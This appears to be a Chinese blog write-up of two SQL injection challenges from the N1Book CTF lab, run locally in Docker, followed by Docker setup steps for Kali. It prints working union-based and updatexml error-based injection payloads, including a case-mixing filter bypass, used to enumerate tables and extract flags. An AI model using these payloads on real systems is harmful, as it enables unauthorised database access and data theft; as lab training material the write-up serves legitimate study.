从0到1CTFer成长之路-第一章-CTF中的SQL注入
CTF中的SQL注入声明好好向大佬们学习!!!攻击https://book.nu1l.com/tasks/#/pages/web/1.2SQL注入-1kali执行vim docker-compose.yml内容如下version: '3.2'services:web:image: registry.cn-hangzhou.aliyuncs.com/n1book/web-sql-1:latestpo
CTF中的SQL注入
声明
好好向大佬们学习!!!
攻击
https://book.nu1l.com/tasks/#/pages/web/1.2
SQL注入-1
kali执行
vim docker-compose.yml
内容如下
version: '3.2'
services:
web:
image: registry.cn-hangzhou.aliyuncs.com/n1book/web-sql-1:latest
ports:
- 80:80
开启docker
docker-compose up -d
访问80
http://192.168.137.144/
自动跳转到
http://192.168.137.144/index.php?id=1
显然就是id了,直接开始搞
输入sleep,页面反应3s了
http://192.168.137.144/index.php?id=1' and sleep(3) --+
order by后面依次跟1,2,3,4…当到4时页面查询失败,说明有3列
http://192.168.137.144/index.php?id=1' order by 3 --+
http://192.168.137.144/index.php?id=1' order by 4 --+
这里id=1要变成-1了,因为1的时候,只把查到的第一条显示出来,然后就可以操控select后面的2和3了
http://192.168.137.144/index.php?id=-1' union select 1, 2, 3 --+
已经知道有3列了,就查数据库,而且还是root用户哦
http://192.168.137.144/index.php?id=-1' union select 1, database(), user()--+
使用下面的语句可以查到表名,但是只能查第一个表名
http://192.168.137.144/index.php?id=-1' union select 1, table_name, 3 from information_schema.tables where table_schema = 'note' --+
想要把所有的表名都查出来,就得用group_concat,就是把所有的都连接起来,比如group_concat(table_name),就把所有的表明连起来,查到了两张表,flag和notes
http://192.168.137.144/index.php?id=-1' union select 1, group_concat(table_name), 3 from information_schema.tables where table_schema = 'note' --+
查列名,查出列fllllag
http://192.168.137.144/index.php?id=-1' union select 1, 2, group_concat(column_name) from information_schema.columns where table_name = 'fl4g' --+
查值,表名就不用那么写了
http://192.168.137.144/index.php?id=-1' union select 1, 2, group_concat(fllllag) from fl4g --+
拿到flag
n1book{union_select_is_so_cool}
SQL注入-2
kali执行
vim docker-compose.yml
内容如下
version: '3.2'
services:
web:
image: registry.cn-hangzhou.aliyuncs.com/n1book/web-sql-2:latest
ports:
- 80:80
开启docker
docker-compose up -d
访问80
http://192.168.137.144/
题目上让访问login.php和user.php,访问user.php说是login first,那先试试login.php吧
http://192.168.137.144/user.php
http://192.168.137.144/login.php
修改用户名为admin’ or sleep(3) #,使用bp抓包发现时间延迟
试了半天,也没登录进去,对了这个题是让拿到flag,不是让黑进去拿web权限的,但是也没啥思路,我屈服了,加上tips请求帮助了
随便试了一下, select被过滤了,那么很有可能就是需要双写或大小写select进行绕过(别问我怎么知道,书上原话吗这不是)
访问,查出两张表fl4g、users
http://192.168.137.144/login.php?tips=1
name=admin' and updatexml(1, concat(0x7e, (SeLeCt group_concat(table_name) from information_schema.tables where table_schema = database())), 3) %23&pass=123
查列flag
http://192.168.137.144/login.php?tips=1
name=admin' and updatexml(1, concat(0x7e, (SeLeCt group_concat(column_name) from information_schema.columns where table_name='fl4g')), 3) %23&pass=123
查值,到了这一步就可以直接from 表名了
http://192.168.137.144/login.php?tips=1
name=admin' and updatexml(1, concat(0x7e, (SeLeCt flag from fl4g)), 3) %23&pass=123
拿到flag
n1book{login_sqli_is_nice}
前置环境
kali+docker
摘自
https://cloud.tencent.com/developer/article/1589933
apt-get update
apt-get upgrade
curl -fsSL https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/gpg | sudo apt-key add -\n
echo 'deb https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/ buster stable' | sudo tee /etc/apt/sources.list.d/docker.list\n
apt-get update
apt-get remove docker docker-engine docker.io
apt-get install docker-ce
sudo systemctl status docker
sudo systemctl start docker
sudo systemctl enable docker
docker version
kali+docker-compose
apt-get install docker-compose
docker-compose -version
更多推荐
所有评论(0)